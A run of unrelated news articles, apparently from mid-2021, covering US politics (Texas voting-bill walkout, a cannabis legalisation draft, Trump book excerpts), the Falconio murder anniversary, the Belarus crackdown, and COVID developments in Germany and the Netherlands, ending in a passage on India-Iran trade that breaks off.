Donald Trump Jr has posted a hateful message on social media, bizarrely claiming that the destruction by lightning of a mural honouring the late George Floyd, is a sign from a higher power.

The Ohio mural painted in tribute to the late George Floyd was hit by lightning, according to witnesses. It was painted on the side of a former bar in Toledo last year, to honour Floyd after he died at the hands of a police officer.

The rambling Instagram post from Mr Trump Jr provoked a mixture of derision and disgust, as did a similar message Mr Trump Jr posted on Twitter.

Twitter user Wednesday Lee Friday responded: You can always tell an adult knows what theyre talking about when they have to pretend an imaginary sky friend agrees with them.

You can always tell an adult knows what theyre talking about when they have to pretend an imaginary sky friend agrees with them.       (@WednesFri) July 14, 2021

Painted by artist David Ross in July 2020, the mural has been used as a gathering point for memorial services since, including one held on the anniversary of his death.

Police have taped off the area, which is covered in bricks and rubble.

Witnesses say lightning hit the building on Tuesday, causing the central part of the mural to collapse. Weather-monitoring devices show there was a strike in the area at that time.

A City of Toledo spokesperson told WTVG 13abc that they were heartbroken to see the artwork damaged, and were planning to work with the arts commission to get it replaced. New locations for a fresh mural were being considered.

City building inspectors said that natural deterioration could also be responsible for the murals collapse, as the centre of the wall had recently been noticed bowing.

Floyd, a Black man, died in police custody on May 25 in Minneapolis last year, after being arrested on suspicion of using a counterfeit bill in a shop.

A bystander caught the incident on camera, showing police officer Derek Chauvin kneeling on Floyds neck for more than nine minutes. The video footage recorded Floyd saying: I cant breathe.

Mr Chauvin was later found guilty of second-degree unintentional murder, third-degree murder and second-degree manslaughter and sentenced to 22.5 years in prison

The case sparked an outpouring of grief and shock across the world, and led to nationwide protests against racial inequality and police brutality.
A Texas state Democratic lawmaker has spoken out against the governors threat to have her and her colleagues arrested after they fled the state in an effort to block an elections overhaul bill.

Texas Representative Jasmine Crockett told CNN that she was not worried about Governor Greg Abbotts threat to have every lawmaker who left the state arrested once they return.

I dont worry probably because I know the law, and the governor knows the law, as well. Im a criminal defense attorney, and so I understand that Ive not committed a crime, so I cant get arrested, Ms Crockett said on Tuesday following the governors threat.

She added that while the lawmakers could be detained by the state, there was nothing Texas officials could do outside their jurisdiction.

Im not worried about the threat of being arrested. The most that can happen is we can be detained, which is why we got out of the state. The governor of Texas has no jurisdiction outside of the state of Texas, along with [the Texas Department of Public Safety], she said.

Ms Crockett and her Democratic colleagues fled Austin for Washington DC on Monday so they could refuse to let the Republican-led legislature force through dangerous legislation that would trample on Texans freedom to vote, according to a statement.

Under Texas state law, two-thirds of lawmakers must be present for legislative business to commence.

The decision to leave the state came after Mr Abbott convened a special session to pass several conservative measures, including legislation addressing voting, abortion access, and critical race theory.

The elections bill Texas Democrats were fighting would put limits on early and curbside voting, ban 24/7 voting facilities in outside structures, eliminate straight-ticket voting, and limit the use of ballot drop boxes across the state.

Two issues that Ms Crockett took issue with in the bill was the closing of 24/7 voting facilities and requiring for voters to provide voter ID in order to cast their vote.

These medical providers that are sitting here trying to save us from a pandemic, they had that option, and they used that option, she said.

But more importantly, what we saw is the people who took advantage of actually drive-thru voting. The vast majority were minorities. Thats the problem; that was the target, she added.

Republicans have argued the bill would improve election security, but Democrats have claimed it would only suppress voters, specifically minority voters.
A discussion draft of a bill that aims to legalise cannabis across the US, developed by top Democrat leaders, is set to be unveiled by them at a press conference on Wednesday.

US Senate majority leader Chuck Schumer, finance chairman Ron Wyden and new Jersey Senator Cory Booker plan to unveil the draft, according to Bloomberg.

People familiar with the development told Bloomberg that the Cannabis Administration and Opportunity Act aims to remove cannabis from the federal list of controlled substances.

The bill also aims to go beyond just legalising the substance, according to the report, as it could tax and regulate cannabis at a federal level. States, however, will have the freedom to enforce their own laws regarding sale and purchase.

The three Democrat senators had called for ending the federal marijuana prohibition and promised a comprehensive cannabis reform legislation, in early February this year.

The War on Drugs has been a war on people  particularly people of colour, the senators said in the statement.

They argued that ending the federal marijuana prohibition is necessary to right the wrongs of this failed war and end decades of harm inflicted on communities of colour across the country.

Continued enforcement of cannabis prohibition laws resulted in over 600,000 arrests in 2017, according to a 2019 report by Human Rights Watch.

The arrests disproportionately affect people of colour as they are almost four times as likely to be arrested for marijuana possession as their white counterparts, even though the rates of marijuana use have remained equal across races, said the report.

The bill is expected to tackle this disproportionate targeting and regulate the drug from a health and safety perspective.

It may also include provisions that could encourage banks to work with cannabis companies and assist them in basic requirements like bank loans and accounts.

The draft bill is also expected to clear another hurdle that has reportedly curbed the profitability of companies.

The removal of section 280E, a tax code that prevents businesses dealing with Schedule I or Schedule II controlled substances from claiming standard business deductions, is expected. Schedule I or Schedule II controlled substances include heroin, LSD, cannabis, cocaine, amphetamines and other drugs.

Currently, cannabis companies pay an effective tax rate of anything between 60 to 100 per cent on profit, according to Forbes.

The bill is, however, expected to receive challenges from within the party, according to earlier reports.

Speaking to Politico earlier in April, two Democrats  Senators Jeanne Shaheen and Jon Tester  voiced their opposition against the removal of federal penalties on cannabis. The bill will need 60 votes to stand in the senate.

Recreational use of cannabis is legal in 17 states as of now, with medical use after approval from doctors legal in 36 states.
Former President Donald Trump had lost the political support of his own defence secretary by the time election night rolled around last year, a new book from two Washington Post journalists reports.

In excerpts of I Alone Can Fix It: Donald J. Trump's Catastrophic Final Year, an upcoming book of reporting on the final days of Mr Trumps presidency and reelection bid from the Posts Carol Leonnig and Philip Rucker, Mark Esper is described as rooting against Mr Trump on election night due to fears of his instability and his own experience working with now-President Joe Biden when he was former President Barack Obamas second-in-command.

Esper was a lifelong Republican and had worked at the conservative Heritage Foundation as well as for Republican senators Bill Frist and Chuck Hagel, read the excerpts published by the Post on Tuesday. Mr Hagel notably went on to serve as secretary of defence under Mr Obama.

Mark Esper was among those who signed an op-ed denouncing Donald Trump. (Getty Images)

But he told his closest colleagues that as he watched TV news anchors cover the election results, he found himself rooting for the Democrat, the excerpts continued, noting that Mr Esper characterized Mr Biden and his now-Secretary of State Antony Blinken as serious, stable people who cared deeply about shoring up national security while he couldnt say the same about Trump.

According to Ms Leonnig and Mr Rucker, the former Pentagon chief was so concerned about the presidents instability that he worried Mr Trump would call in the troops to quash protests or take other actions if the election was not a clear result one way or the other.

He had feared that anything less might give Trump some shred of a reason to call out troops, they wrote.

US Secretary of State Anthony Blinken. (Copyright 2021 The Associated Press. All rights reserved)

The president famously came under fire after law enforcement cleared protesters from Lafayette Park, an area near the White House, just before Mr Trump engaged in a bizarre photo op with a Bible outside of a Washington DC church. A report from Interior Department Inspector General Mark Greenblatt, a nominee of Mr Trumps, found that law enforcement did not clear the protesters from the park as a result of the photo op, even though Mr Trumps visit to the area occurred just minutes after the protesters were cleared out with chemical irritants and riot police.

During widespread unrest last year after the murder of George Floyd by Derek Chauvin, a former police officer with the Minneapolis police department, Mr Trump threatened to send federal law enforcement to major cities around the country to quell demonstrations.

"I mean, we're sending law enforcement, he told reporters during a June 2020 meeting in the Oval Office.

"I'm going to do something  that, I can tell you," Mr Trump added. "Because we're not going to let New York and Chicago and Philadelphia and Detroit and Baltimore and all of these  Oakland is a mess. We're not going to let this happen in our country. All run by liberal Democrats."
A reporter says he was left alone for roughly a half hour while waiting on former President Donald Trump for an interview, a highly unusual situation that could raise obvious security concerns.

In excerpts of Frankly, We Did Win This Election: The Inside Story of How Trump Lost by author Michael Bender, the Wall Street Journal reporter describes how he was asked by former White House press secretary Kayleigh McEnany if he had specific items to talk to Mr Trump about, which led him to realize that the White House had no plan for a message it wanted to push during his meeting, according to Raw Story.

Ms McEnany then ushered him into the Oval Office, which he described as otherwise empty, and told him that the president would arrive in 60 seconds. The actual wait was close to a half hour.

Mr Bender was apparently not accompanied by Secret Service or any White House officials at the time, leaving him the perfect opportunity to snag a selfie behind the Resolute Desk, snag a souvenir, or something else. The Oval Office, where the president often meets with dignitaries and domestic leaders, is one of the most secure areas in the White House.

The exact date and time of Mr Benders exceedingly rare self-guided tour of the Oval Office was not clear from the excerpts in Raw Story, but apparently occurred some time through 2020, the presidents last year in the White House and a time during which the White House was described as a ghost town amid the Covid-19 pandemic and eventual defeat of the former president in November.

The Independent has reached out to former Secret Service agents to inquire about the procedures for guests being left unattended in the Oval Office, as well as the agency itself for comment about Mr Benders claim.
White House press secretary Jen Psaki has hit out at Peter Doocy again, after the Fox News reporter questioned Joe Bidens support for voting rights in Texas.

The US president on Tuesday said a last-minute bill introducing voting restrictions in Texas was both un-American and un-democratic, a day after Texas Democrats fled the state in an attempt to block the move.

Mr Doocy asked during Wednesdays White House press briefing whether Mr Biden had ever fled Washington DC before a vote that he knew he was going to lose, as a US senator.

Visibly annoyed by the Fox New correspondents contribution, Ms Psaki replied by saying: Welcome back.

"I think the president's view is that these Texas legislators were making a statement through actions in opposition to efforts in their state to oppose restrictions on people's fundamental rights and their rights to vote in their state, the press secretary added.

The Fox News correspondent, issuing a defence, told Ms Psaki: "Maybe it's funny to think about it that way, the president trying to picture this as the most serious assault on democracy.

"I don't think anything about this is funny," she hit back, cutting off Mr Doocy. "I think what is important to note, though, here is that there are 28 states, including Texas, where there are laws in place or in process to make it harder to vote and it requires bold action.

It requires bold voices to speak out against that and make sure people understand their rights."

Mr Biden on Tuesday said the introduction of voting restrictions by Republicans was the test of our time, with state legislators referring to former US president Donald Trumps false allegations of a rigged election for toughening access to the ballot box.

Among the measures included in the Texas bill, which is currently on hold, are bans on 24-hour voting stations and drive-thru voting sites, as well as stricter requirements for voter ID  which will adversely effect Black and minority Americans.

The press briefing spat between Ms Psaki and Mr Doocy follows a disagreement last month in which the Fox News correspondent disagreed that Republicans who rejected the presidents American Rescue Plan were defunding the police.
A Texas state legislator had her office visited by an officer with a state law enforcement agency after she and other Democrats refused to come to the state House floor for votes on two voting restriction bills being pursued by Republicans.

Video posted on Twitter by state Rep Shawn Thierry showed the officer with the Department of Public Safety arriving at her office alongside a sergeant-at-arms for the state House to compel her into custody.

Ms Thierry, however, had already left the state along with other Democrats in the state legislature who have come to Washington DC to pressure Congress to act and protect voting rights at the federal level.

In a subsequent Instagram post, Ms Thierry added that while she had not been on the same flights as many of her colleagues out of Austin, she had managed to leave before law enforcement arrived.

I made sure that I left the state in time to prevent the Governor from arresting me and forcing me to return to the Capitol building. We are pulling out every tool in the toolkit to stop the most discriminatory piece of voter legislation we have seen in decades, wrote Ms Thierry.

So, shortly after the Call on the House was placed  this happened... A House Sergeant entered my office along with a Texas DPS trooper seeking to apprehend me and lock me in the House chamber. @CNN @MSNBC #txlege #LetThePeopleVote pic.twitter.com/BFPqRQeAGD  Shawn Thierry (@RepThierry146) July 13, 2021

A number of her colleagues met on Tuesday with Senate Majority Leader Chuck Schumer, who expressed his support for the legislators and their effort, while Vice President Kamala Harris is expected to meet with the group as well.

President Joe Biden gave a speech on the issue of voting rights in Philadelphia on Tuesday as the drama unfolded, denouncing a GOP-led wave of voting restriction bills passed and under consideration around the country.

During the address, he referred to the efforts of Republicans as a 21st century Jim Crow assault, and vowed to opposed them by doubling the size of the voting rights division at the Justice Department.
The former treasury secretary under Donald Trump, Steve Mnuchin, has refused to say that the 2020 election was not stolen when CNBC reporters pushed him on the subject in a recent interview.

The interaction occurred during an episode of CNBC's Squawk Box, when the network's chief Washington correspondent Eamon Javers asked Mr Mnuchin if he believed the lies Mr Trump has constantly repeated about the 2020 election.

Mr Mnuchin dodged the question, instead saying that he was "very involved" in the campaign in 2016, but had little involvement in the 2020 campaign.

Well, let me just say, I was very, very involved in the campaign in 2016 and I traveled with the president across the country and was integrally involved in everything, Mr Mnunchin said.

That response did not answer the question as to whether or not he believed in the former president's election lies.

In 2020, I wasnt able to participate in the campaign, Mr Mnunchin said. So Im really just watching this from the outside.

Mr Mnuchin's lack of involvement in the 2020 campaign would not preclude his ability to make a judgement on the integrity of the 2020 election.

Mr Javers attempted to push Mr Mnuchin to answer the question, but the former treasury secretary again sidestepped.

Steven Mnuchin and his wife Louise Linton. (Getty Images)

What Im saying is Im focused on our investments, our business going forward, Mr Mnuchin said. I think the presidents policies were extraordinary on Covid, whether its the vaccine or other issues. All the work we did under Covid, the bipartisan support we had, to get the economy recovered.

The interview continued, though eventually another host, Andrew Ross Sorkin, brought the issue back up and pushed Mr Mnuchin on why he would not answer Mr Javers' question.

I dont understand why, given your stature, youre not willing to engage on the conversation around what the president has said about this election, Mr Sorkin said. I gather youre trying to dodge the question, but I really think that for the sake of the country, for the sake of democracy, and for the sake of economy and business, you should.

Mr Mnuchin refused for a third time to offer a substantive response to the question.

"We have a great democracy. It's working. It worked. We had a transition of power. I hope the president considers running again down the road," he said. I think this is an extraordinary democracy, and, as you said, we have an extraordinary economy.

Mr Mnuchin faced criticism on social media, with one prominent anti-Trump conservative commentator, Joe Walsh, calling him cowardly for dodging the question.

Mnuchin is asked twice: Was the election stolen? He refuses to answer both times. Refuses to answer. Just cowardly. So damn cowardly, wrote Mr Walsh, a former Republican congressman who has come out against Mr Trump.
Former President Donald Trump mocked Joe Biden for what he claimed was an awful facelift, a new book has claimed.

An excerpt from the book Frankly, We Did Win This Election: The Inside Story of How Trump Lost, by Wall Street Journal reporter Michael Bender obtained by Fox News reveals new details about how Mr Trump mocked his Democratic rivals during the 2020 primaries.

Mr Trump reportedly commented on one of the Democratic debates to reporters on Air Force One in February 2020.

Trump then started offering his own colour commentary: Bloomberg was smart, but not quick, Mr Bender writes. Mr Trump asked reporters to watch the debate with him as they flew from Phoenix to Las Vegas. Biden had an awful facelift. Bernie was sharp, and Warren was nasty but a good debater.

Mr Bender added: But the climax for Trump was Bloomberg melting down when rivals, led by Warren, skewered him over his history of sexual harassment allegations and past support for stop-and-frisk policing. Trump crowed at every stammer he saw on-screen. He stutters like Biden! Trump said.

The Wall Street Journal reporter wrote that staffers for the Trump campaign were split on whether Mr Bloomberg was a threat, with some dismissing him and others insisting the billionaire and former New York mayor couldnt be ignored.

Trump was anxious about Bloomberg, too, and had to be constantly reassured, Mr Bender wrote. What do you think of Bloomberg? Mr Trump would ask visitors to the Oval Office. Who are you most worried about?

When Mr Trump asked an aide which Democratic candidate would be the most challenging to face, the aide mentioned former South Bend, Indiana mayor and current Secretary of Transportation Pete Buttigieg.

Buttigieg? That f***ing guy? Nah, Mr Trump reportedly replied.

Mr Bender wrote that in February 2020, Mr Trump felt good about his position in the race for his reelection.

The president was feeling emboldened. His approval ratings were at the highest point of his presidency, hed removed or reassigned many of the administration officials who had testified against him during impeachment, and now Democrats were falling apart.

After watching the debate on Air Force One, Mr Trump allegedly told reporters: Im the president, and Im going to stay the president. And youre finally starting to realize that!

Mr Trump previously blasted Mr Bender as a third-rate reporter and said his description of events in one part of his book was totally false. The former president added that an earlier excerpt from the book was fiction, as are so many other stories written in the vast number of books coming out about me.

Mr Bender tweeted in response: I stand by my reporting.
Former President Donald Trump has been accused of plagiarism after a statement about a Fox News hosts new book was found to be exactly the same as the publishers description.

Twitter users mocked the statement from Mr Trump before revealing that the book endorsement appeared to have been copied and pasted from the publisher.

Great new book out by Jesse Watters, How I Saved the World, a Trump statement sent to reporters on Wednesday said.

Interspersed are his thoughtful suggestions for overcoming left-wing radicalism, maintaining American democracy, moving beyond ageing hippies (like his long-suffering, loving parents), saving the world from social justice warriors and the deep stateall while smirking his way through life in only the nicest way. Get your copy today, congratulations Jesse!

I wanna know who wrote this, Washington correspondent for The New York Times, Maggie Haberman, tweeted.

Donald Trump never, in his entire life, conceived of the phrase interspersed are his thoughtful suggestions, conservative Trump-critic Tom Nichols responded.

Slate Editor Jeremy Stahl noted: LOL. Trumps latest statement is an endorsement of Jesse Watters book that reads like a personal blurb/review from someone who has read the book, but which is actually lifted verbatim from the books details page.

The statement seemingly written by Mr Watters publisher was presented as if it came directly from Mr Trump.

One account holder wrote: Jesse Watters wrote this. Big words. Its a publicity stunt by Watters.

Many Twitter users were critical of Ms Habermann for sharing Mr Trumps statement.

Mr Trump seemingly parroted the words of the publisher as his statement appears to have been copied word for word from the description of the book on various sites, including Amazon.

At one of the most chaotic periods in American history, in a time of national distrust and despair, one tanned TV host holds the key to the future, the hyperbolic ad copy states.

In How I Saved the World, Jesse Watters takes readers on a tour of his life from basement-dwelling Fox minion to pampered champion of right-thinking Americans. He has divined great truths about the nature of our country while stumbling across beaches asking oblivious college students basic political questions and while stumbling out of Air Force One with the president.

Earlier this week, the Fox News host said on the air: If you havent heard I wrote a book. Seriously, if you havent heard, where have you been? Ive been on TV more than Fauci. I know Ive been plugging it hard, but thats just because I know youre going to love it, and if you havent bought a copy already, Im very disappointed.

For those of you who bought it, thank you. Everyone is saying it lives up to the hype. And by everyone, I mean me, he added.

Theres a study thats already been done, says reading my book will add years to your life. Im serious. Laughter makes you live longer. Its been proven, he said.

The book description goes on to say that Watters outlines the stark choice ahead of us between all-American hamburgers and leftist Green New Deal breadlines (okay, maybe that one is a no-brainer) and shows the way for order and fairness to be restored.

A manifesto and a call-to-arms from a man for all seasons, How I Saved the World is a hilarious, enlightening, entertaining book with a reasonable chance of winning a Nobel Prize in every category, even chemistry, it concludes.

The Independent has reached out to the office of Mr Trump for comment.
White House Press Secretary Jen Psaki condemned an alleged attempt by Iranian intelligence officials to kidnap an American journalist and activist and ship her to Venezuela.

While Ms Psaki said it was a legal matter and the White House would not weigh in on specifics, she did criticise the alleged act.

Overall though, we categorically condemn Irans dangerous and despicable reported plot to kidnap a US citizen on US soil, she said. We will forcefully defend US citizens and US interests. That includes law enforcement actions like the one announced yesterday, as well as the actions the president has taken to defend US forces in the region from Iranian-backed militant groups.

The words came after a federal court in New York unsealed the indictments of four Iranian intelligence officials and one California resident, also of Iranian origin, charged with conspiracies to kidnap a US journalist and human-rights activist.

Masih Alinejad tweeted on Wednesday that she was the journalist in question.

I am grateful to FBI for foiling the Islamic Republic of Iran's Intelligence Ministry's plot to kidnap me. This plot was orchestrated under Rouhani, she said in reference to Iranian President Hassan Rouhani.

The Justice Departments announcement found that the alleged plotters looked for methods to transport Ms Alinejad out of the United States and rendition her to Iran. The group allegedly researched a service using military-style speedboats out of New York City and maritime travel from New York to Venezuela, whose regime is friendly with Iran.
Police in Australia are appealing for information to locate the body of a British backpacker murdered exactly 20 years ago.

Bradley John Murdoch was convicted in 2005 of murdering Peter Falconio, 28, and assaulting his girlfriend Joanne Lees at gunpoint on a remote highway.

The attack happened on Stuart Highway near Barrow Creek, about 200 miles north of Alice Springs, in the Northern Territory.

Murdoch is believed to have hidden Mr Falconios body after the murder on 14 July 2001, and it has never been found despite extensive searches.

He is serving a life sentence with a 28-year non-parole period, and he has refused to say where Mr Falconios body is.

Northern Territory (NT) Police said in a statement that the missing persons case remains open.

Murdoch was convicted of the murder and assault on the couple from West Yorkshire (NT Police)

Detective senior sergeant Karl Day said: Police are urging anyone out there, with any information that may assist Peters family in gaining some sort closure, to come forward and contact police.

We are thinking of Peters family and friends on this anniversary and remain hopeful that such a milestone may jolt some information and progress the investigation.

Ms Lees, from Huddersfield in West Yorkshire, had returned to Australia for the first time in 15 years in February 2017 in the hope of finding Mr Falconios body.

The then 43-year-old said she wanted to bring him home as she returned to the scene of the shooting for an Australian television show.

She said: Its because I love Pete so much and I want to bring him home and I need to bring him home.

Police believe Murdoch put Mr Falconios body somewhere between Alice Springs and Broome (Google Maps)

Before Mr Falconio was murdered, Murdoch was driving behind the couple down Stuart Highway. He indicated for them to pull over, saying their camper van might have an engine problem.

Mr Falconio went behind the car with Murdoch to investigate, which is when Ms Lees heard a gunshot.

Murdoch then tied Ms Lees with cables and covered her head. She managed to escape while he was distracted, and hid in bushland for five hours. Murdoch hunted her with his dog before she managed to flag down a truck driver.

NT chief minister, Michael Gunner, said the murder was a callous and sickening act of violence.

At the trial in 2005, sentencing judge Justice Brian Martin had said he believed Murdoch had taken Mr Falconios body in his car and dumped it somewhere in the vast outback between Alice Springs and Broome, in Western Australia.

He also sentenced Murdoch to six years in prison for kidnapping and assaulting Ms Lees with a gun, with the sentences to be served concurrently. Murdoch will be 74 when eligible for parole in 2032.
Belarusian authorities raided the homes and offices of NGOs and public figures on Wednesday, arresting dozens and seizing equipment, in what appeared to be a coordinated strike against civil society by the countrys self-declared president, Alexander Lukashenko.

Early morning police raids took in addresses across the whole country  from Brest to Homel. Security officers were seen at the offices of the Belarusian Association of Journalists, the Belarusian Helsinki Committee, the Beroc think tank, Belarus Popular Front party, Human Constanta and Viasna-96 among others.

Colleagues have reported that Viasnas veteran leader Ales Bialiatski, who cuts a legendary figure in the activist community, remains uncontactable.

Working in challenging circumstances, Mr Bialatski has been at the forefront of efforts to support the victims of political violence. According to Viasnas figures, 555 political prisoners remain in Mr Lukashenkos prisons.

Following Mr Lukashenkos likely landslide loss at last Augusts presidential elections, the 27-year ruler has cracked down on almost all forms of opposition, unleashing merciless violence against his detractors.

In the course of eleven months, more than 30,000 protesters have been arrested, hundreds tortured, and at least seven killed. In May, he commandeered a Ryanair passenger jet to secure the arrest of Roman Protasevich, a journalist and long-time detractor flying on board.

Europe introduced unusually strong sanctions in response to that incident, prohibiting a large part of Belarus critical potash and oil exports.

The erratic leader has shown little sign of backing down to the increasing pressure.

Almost immediately, he responded by stepping up a domestic crackdown, raiding the offices of most independent media outlets. Abroad, he unleashed a migrant war on Lithuania, and has hinted he might be inclined to unleash a supply of narcotics westwards too.

A wily operator and survivor by nature, Mr Lukashenkos future in large part now depends on the plans of his counterpart in the Kremlin. On Tuesday, the Belarusian was in St Petersburg for five hours of negotiations with Vladimir Putin on new loans and a common response to sanctions.

Guarantees given by Mr Putin at the height of protests in late August were what allowed the Belarusian leader to hang on.

The growing frequency of meetings would appear to demonstrate Mr Lukashenko accepts that  and that Mr Putin is pushing for a return on that investment.
Germanys president appealed Wednesday to hesitant compatriots to get vaccinated against COVID-19, adding to efforts by top politicians to reinvigorate the country's inoculation campaign as infection numbers have begun to creep higher.

President Frank-Walter Steinmeiers video message came a day after Chancellor Angela Merkel urged German residents to get the shot.

Although case numbers remain very low  currently around seven weekly new cases per 100,000 residents  they have been edging up for a week, and German leaders are wary of worse to come now that the more contagious delta variant is dominant. And the number of people getting shots has slipped in recent weeks.

By Tuesday, 58.9% of the population had received at least one shot and 43.7% were fully vaccinated. But Germanys disease control center said last week that the country should aim to vaccinate 85% of people ages 12-59 and 90% of over-60s to prevent the delta variant from causing a resurgence of cases this fall and winter.

Many could hardly wait for the vaccine appointment, like myself," Steinmeier said. "Many struggled with themselves and then decided in favor  and thanks for that. What matters now is as many as possible follow their example.

I ask all those who are still uncertain: get yourselves vaccinated," he said.

Only when even more people in our country have received full vaccine protection is our common aim achieved, Steinmeier added. Only then will virus variants such as the current delta variant not force us into new restrictions; only then are we protected with great certainty against serious and fatal developments of infections.

Merkel has said that Germany doesn't plan to introduce compulsory vaccinations for some professions, as France and Greece are doing, but hasn't ruled out the possibility in the future.

One concern for politicians is preventing infections among schoolchildren once classes resume after the summer break. There is currently no vaccine approved for under-12s and many other young people still aren't vaccinated.

The economy ministry said after a Cabinet meeting Wednesday that the federal government will provide regional authorities 200 million euros ($237 million) to fund portable air filters for classrooms. It previously only helped fund built-in filters.

Federal and regional authorities have faced persistent criticism for having no coherent plans to keep schools running smoothly during the pandemic.
First came the easing of lockdown, then came the reimposition of pandemic restrictions, folowed by a humbling apology by the prime minister.

Now comes the reckoning. The Netherlands has learned to its cost that even when three-quarters of its adults are vaccinated, there are still huge risks in reopening. Coronavirus infections have exploded by more than 500 per cent over the last week, the countrys public health institute has said. Nearly 52,000 people in the Netherlands tested positive for COVID-19 over the past week.

With the reopening of nightclubs, the institute found that almost four in ten of the new infections happened in a hospitality venue such as a bar or club. Infections among people ages 18-24 surged by 262 per cent, followed by a 191 per cent rise for 25-29 year-olds.

After restrictions in Dutch nightclubs were lifted on June 26, coronavirus infections surged twelvefold to their highest levels in a year: from just 806 cases a day on July 1, they reached 3,646 on July 7 and 10,345 on Saturday, July 10. Even as a seven-day rolling average, the numbers rose tenfold between June 30 and July 12 to 6,667. That works out at 345 cases per million, with only Britain (477) and Cyprus (1,012) having higher infection rates in Europe.

On Tuesday, for the first time since the start of the coronavirus pandemic, the reproduction (R) number had climbed to over two other people, reaching 2.17. The spike in infections has not yet led to a notable rise in hospital admissions, but the government has now warned that this could be threatened by the current unprecedented increase in infections.

Around 1,260 people likely went to nightclubs in the past two weeks while they were infected, according to data analyst Martijn de Riet, who says this led to around 30 superspreader events. But while the government blamed irresponsible, infected youngsters for faking QR codes to get into venues, Mr de Riet says the real issue was a testing system with too many false negatives.

It means that 0.3% of last weekends 420,000 tests were falsely negative. Thats 1,260 people with Covid19 who happily went into the pub with a green tick mark, he said. There is no reason to believe that cheating QRs are the cause of this outbreak. This is pure gaslighting.

The Dutch experience is a salutory lesson for any country that feels confident enough to lift, wholesale, coronavirus restrictions.

The experiment lasted barely two weeks.

From June 26, Mark Rutte, the PM announced that face masks would, in most cases, be ditched. No limits were set on the number of guests allowed in stores, bars and restaurants. This is a special moment, he said. Mr Rutte was not wrong.

The plans were reversed by early July after the massive spike in infections, with bars, restaurants and nightclubs closed once again to indoor service last Friday. Mr Rutte on Monday offered his mea culpa to the nation.

What we thought would be possible, turned out not to be possible in practice, he said. We had poor judgement, which we regret and for which we apologise.

Now, the countrys top virologists claim their warnings about easing lockdown rules at the end of June were ignored by politicians.

The countrys Outbreak Management Team (OMT), which advises the government about pandemic measures, said a planned test for entry system used to reopen venues like nightclubs would not work because the rapid antigen tests had a failure rate of around 20 per cent, according to de Volkskrant, a Dutch newspaper.

OMT officials also criticised Health Minister Hugo de Jonge, who blithely encouraged young people to take the single-shot vaccine jointly made by Johnson & Johnson and Janssen - using the slogan dansen met Janssen (dancing with Janssen)  with the implication they could go out partying sooner.

However, that was in the face of official advice for people to wait two weeks after their shot to build up maximum immunity.

Virologist Annemiek van der Eijk, from Erasmus University Medical Centre in Rotterdam, has warned that one vaccine dose is not enough to protect people.

We need to explain it even more clearly: you are not protected after one vaccination, she said.

Mark Rutte (EPA)

And if you have already had the coronavirus, the Alpha or Beta Variant, then you are not protected against the Delta Variant either. Those antibodies youve had before do nothing or very little against this variant. You can be infected again and then you are contagious again for others.

The vaccination campaign in the Netherlands has gone relatively fast, rolling out a total of 100 vaccine doses per person so far, including 66 first doses - or single shots in the case of Johnson & Johnson/Janssen.

Amongst adults, more than 46 per cent of the population is fully vaccinated and at least 77 per cent have had at least one shot. However, the vaccination rate is slowing as the campaign reaches out to younger people, who are less enthusiastic about getting their shots. Just over 1.23 million people were vaccinated against the coronavirus disease last calendar week, whereas nearly 1.67 million were given a shot during the week ending June 13.

The reimposition of measures has been met with anger from the hospitality and events sectors, with the 1.5m social distancing requirement back in place and many festivals forced to cancel. Entertainment company ID&T, joined by 30 organizers of dance festivals and major events, has filed a lawsuit against the Dutch state to overturn the restrictions, with the Dutch Event Organisers Federation said it was "sad and furious" about the governments decision to reimpose curbs.
Since 1963, The Independent has helped create a great community!

Since our founding in September of 1963, The Independent has been dedicated to giving Livermore, Pleasanton, Dublin, and Sunol readers the news they need to be in-the-know about what's going on in the Tri-Valley region.
Mays site director honored for work

In the press release from South Carolina Humanities on the Rev. Christopher B. Thomas winning a Fresh Voices in the Humanities Award, it says:

Rev. Thomas is an ordained elder in the Church of God in Christ and serves as Senior Pastor of New Generation Outreach Ministry. Active in community affairs, he serves as a mentor for MODELS Academy and on the board of directors for Community Initiatives, a non-profit organization in Greenwood, SC. Rev. Thomas is Director of the Dr. Benjamin E. Mays Historical Preservation Site that is a part of the GLEAMNS Human Resources Commission. Inc. and has been instrumental in helping persons across the Lakelands region of South Carolina and beyond to know more about the life and legacy of Dr. Mays.

Joining Rev. Thomas in the Fresh Voices category are Dr. Lydia Brandt, Associate Professor of architecture, American art, and theories and methods of historic preservation at the University of South Carolina; Tamara Herring, Executive Director of the Morris Center for Lowcountry Heritage; and Dr. Kasie Whitener, novelist, business owner, and instructor at the University of South Carolina.

The 2021 recipients of the Governors Awards in the Humanities are Michael Allen, National Park Ranger for the Gullah Geechee Cultural Heritage Corridor; Jannie Harriot, chairperson and charter member of the South Carolina African American Heritage Commission; Simon Lewis, Director of the Carolina Lowcountry and Atlantic World program at the College of Charleston; and The Rice Museum, a museum chronicling the history of rice cultivation in Georgetown County.
We discuss Indias trade exposure to Iran and prospects for an import-export rebound in light of US-Iran detente, full operations of Chabahar port, and the changing situation in Afghanistan. A new bilateral preferential trade treaty has also gone through several rounds of negotiations, and would boost India-Iran trade flows, diversify the trade basket beyond energy assets, and bolster regional commercial linkages and investments in connectivity infrastructure.

Irans vast untapped hydrocarbon reserves and Indias ever-growing energy consumption form the basis of India-Iran economic cooperation. However, the two countries are also invested in strengthening their regional connectivity infrastructure to bolster trade and commerce.

With the changing situation in Afghanistan, India and Iran find themselves at an opportune moment to explore the convergence of their mutual interests.

Irans geographical location offers India a gateway to Afghanistan and Central Asia through the India-invested Chabahar Port as well as access to global markets in Europe and Russia via the International North-South Transportation Corridor (INSTC). These infrastructural linkages hold key to expanding trade and investment prospects in the region, including between India and Iran.

India-Iran trade: Highs and lows

India-Iran bilateral trade registered 23.7 percent growth in the financial year 2018-19 (FY19), peaking at US$17.03 billion with mineral oil and fuel claiming the lions share in Indian imports, accounting for US$12.3 billion. However, this trend has reversed since May 2019, following the lapse of the oil sanction waiver granted to India by the US. In FY20, bilateral trade stood at US$4.77 billion.

This extended period of no crude oil sale from Iran to India led to the depletion of rupee reserves in UCO bank and IDBI bank, the only two legal lenders facilitating rupee trade with Iran, thereby further reducing the volume of exports from India to Iran. Indias overall exports to Iran fell by 42 percent in 2020 from 2019 to US$2.2 billion, the lowest in over a decade. The fall is continuing in 2021, and in January this year, exports more than halved from a year ago, to reach US$100.20 million. Exporters are apprehensive due to depleting rupee reserves and the consequent delay in payments.

Can we expect a change in this bleak bilateral trade scenario?

